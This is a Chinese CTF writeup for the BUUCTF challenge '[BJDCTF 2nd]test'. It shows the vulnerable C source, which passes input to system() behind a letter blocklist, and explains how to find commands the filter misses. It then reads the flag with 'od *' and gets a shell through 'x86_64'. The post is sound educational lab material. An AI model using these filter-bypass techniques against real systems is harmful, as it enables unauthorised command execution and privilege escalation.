美文网首页CTF-PWN
BUUCTF - [BJDCTF 2nd]test

BUUCTF - [BJDCTF 2nd]test

作者: 余生似梦 | 来源:发表于2020-07-03 17:47 被阅读0次

    地址:https://buuoj.cn/challenges

    题目介绍:

    image.png

    提示:
    这个题目需要使用ssh连接
    Username: ctf Password: test

    解题思路:

    ssh远程连接 ssh -p 25431 ctf@node3.buuoj.cn

    连接之后

    发现没有权限查看flag,那么我们要做的就是使用test文件来执行命令
    查看test.c 分析源码

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    int main(){
        char cmd[0x100] = {0};
        puts("Welcome to Pwn-Game by TaQini.");
        puts("Your ID:");
        system("id");
        printf("$ ");
        gets(cmd);
        if( strstr(cmd, "n")
           ||strstr(cmd, "e")
           ||strstr(cmd, "p")
           ||strstr(cmd, "b")
           ||strstr(cmd, "u")
           ||strstr(cmd, "s")
           ||strstr(cmd, "h")
           ||strstr(cmd, "i")
           ||strstr(cmd, "f")
           ||strstr(cmd, "l")
           ||strstr(cmd, "a")
           ||strstr(cmd, "g")
           ||strstr(cmd, "|")
           ||strstr(cmd, "/")
           ||strstr(cmd, "$")
           ||strstr(cmd, "`")
           ||strstr(cmd, "-")
           ||strstr(cmd, "<")
           ||strstr(cmd, ">")
           ||strstr(cmd, ".")){
            exit(0);    
        }else{
            system(cmd);
        }
        return 0;
    }
    

    通过查看源码可以看到程序先执行命令id,然后经过一个waf,再执行一个输入的命令。

    test.c在if 判断这块过滤了很多命令,取下的过滤规则是 "n|e|p|b|u|s|h|i|f|l|a|g",可以使用下面命令,查看剩余可以使用的命令
    ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
    分析:查看/usr/bin/,/bin/两个可执行文件目录下,grep -v 是取反,-E 是执行多个条件


    执行结果

    执行test,输入x86_64,然后cat flag

    还有一个od和x86_64可以使用
    题目的预期解是:
    运行test,会让用户输入一个命令,此时的权限可以读取flag

    ctf@0d81d8a0f5b8:~$ ./test 
    Welcome to Pwn-Game by TaQini.
    Your ID:
    uid=1000(ctf) gid=1000(ctf) egid=1001(ctf_pwn) groups=1000(ctf)
    $ od *
    0000000 066146 063541 032173 032541 062544 032065 026546 033146
    0000020 030143 032055 032470 026467 031070 063064 034055 032145
    0000040 030144 034065 034062 062544 076541 077412 046105 001106
    0000060 000401 000000 000000 000000 000000 001000 037000 000400
    

    这里返回的8进制字符串就是flag
    写脚本翻译一下

    import binascii
    tmp = "066146 063541 032173 032541 062544 032065 026546 033146 030143 032055 032470 026467 031070 063064 034055 032145 030144 034065 034062 062544 076541 077412 046105 001106 000401"
    for i in tmp.split(" "):
      try:
        print(binascii.unhexlify(bytes(hex(int(i,8))[2:],encoding="UTF-8")).decode("utf-8")[::-1],end="")
      except Exception as e:
        continue
    

    得到flag

    非预期解:

    使用x86_64

    ctf@0d81d8a0f5b8:~$ ./test 
    Welcome to Pwn-Game by TaQini.
    Your ID:
    uid=1000(ctf) gid=1000(ctf) egid=1001(ctf_pwn) groups=1000(ctf)
    $ x86_64      
    $ cat flag
    flag{4a5de54f-f6c0-4857-824f-8e4d05828dea}
    

    原文链接:CSDN博主「归子莫」

    相关文章

      网友评论

        本文标题:BUUCTF - [BJDCTF 2nd]test

        本文链接:https://www.haomeiwen.com/subject/fygrqktx.html